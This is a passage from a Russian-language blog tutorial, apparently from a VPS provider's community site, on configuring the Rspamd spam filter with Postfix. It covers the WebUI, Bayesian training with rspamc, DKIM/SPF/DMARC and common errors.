<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Настройка Rspamd</h2>



<p>Файлы конфигурации Rspamd находятся в <code>/etc/rspamd/local.d/</code>. Важные модули:</p>



<ul class="wp-block-list">
<li><code>dkim_signing.conf</code> — для DKIM-подписей</li>



<li><code>milter_headers.conf</code> — управление заголовками</li>



<li><code>surbl.conf</code> и <code>rbl.conf</code> — для работы с блэклистами</li>



<li><code>greylist.conf</code> — серый список</li>



<li><code>antivirus.conf</code> — подключение ClamAV</li>



<li><code>neural.conf</code> — машинное обучение (!)</li>
</ul>



<p>Советую включить <strong>Web-интерфейс</strong>, это очень помогает:</p>



<pre class="wp-block-code"><code># Включение WebUI
nano /etc/rspamd/local.d/worker-controller.inc
</code></pre>



<pre class="wp-block-code"><code>bind_socket = "127.0.0.1:11334";
password = "$2$randomsalt$hash";
enable_password = true;
</code></pre>



<p>Затем перезапуск:</p>



<pre class="wp-block-code"><code>systemctl restart rspamd
</code></pre>



<p>Теперь по адресу <code>http://127.0.0.1:11334</code> можно будет смотреть метрики, тренировать бейесовский фильтр и управлять конфигурацией.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Обучение антиспама</h2>



<p>Rspamd может обучаться на письмах вручную. Я добавила в <strong>Roundcube</strong> возможность пометки письма как &#8220;спам&#8221; и &#8220;не спам&#8221;, и настроила <code>rspamc</code> для отправки образцов:</p>



<pre class="wp-block-code"><code>rspamc learn_spam &lt; spam.eml
rspamc learn_ham &lt; notspam.eml
</code></pre>



<p>Важно делать это регулярно, особенно в первое время — тогда фильтр начнёт работать как надо.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">DKIM, SPF и DMARC</h2>



<p>Антиспам — это не только фильтрация входящих, но и защита репутации отправляемых писем.</p>



<ul class="wp-block-list">
<li>Для <strong>DKIM</strong> я использовала встроенный модуль Rspamd (<code>dkim_signing.conf</code>).</li>



<li>SPF и DMARC настроены через <a href="https://cloudvps.by/community/docs/glossarij/terminy/dns/" data-internallinksmanager029f6b8e52c="199" title="DNS (Domain Name System)">DNS</a>-записи.</li>



<li>Можно добавить отчёты DMARC на почту и мониторить доменную репутацию.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Возможные ошибки</h2>



<ul class="wp-block-list">
<li><strong>Не работает веб-интерфейс</strong>? Проверь <code>worker-controller.inc</code>, правильный <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">порт</a>, нет ли <a href="https://cloudvps.by/community/docs/glossarij/terminy/firewall/" data-internallinksmanager029f6b8e52c="198" title="Firewall (Брандмауэр)">firewall</a>&#8217;а.</li>



<li><strong>Письма не проходят</strong>? Возможно, слишком агрессивные настройки (например, выставлен <code>reject</code> вместо <code>add header</code>).</li>



<li><strong>Rspamd не запускается</strong>? Логи в <code>journalctl -u rspamd</code> помогут понять, что не так.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Мой итог</h2>



<p>Я протестировала связку Rspamd + Postfix на 3 VPS — работает стабильно. Ловит 95% спама, ложно положительных почти нет. Интерфейс понятный, управление гибкое, можно кастомизировать под любые нужды.</p>



<p>Если раньше я мучилась с настройками SpamAssassin и Amavis, то теперь честно не понимаю, зачем тратить время — <strong>Rspamd реально лучше</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/nastrojka-filtraczii-spama-cherez-rspamd-i-postfix-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
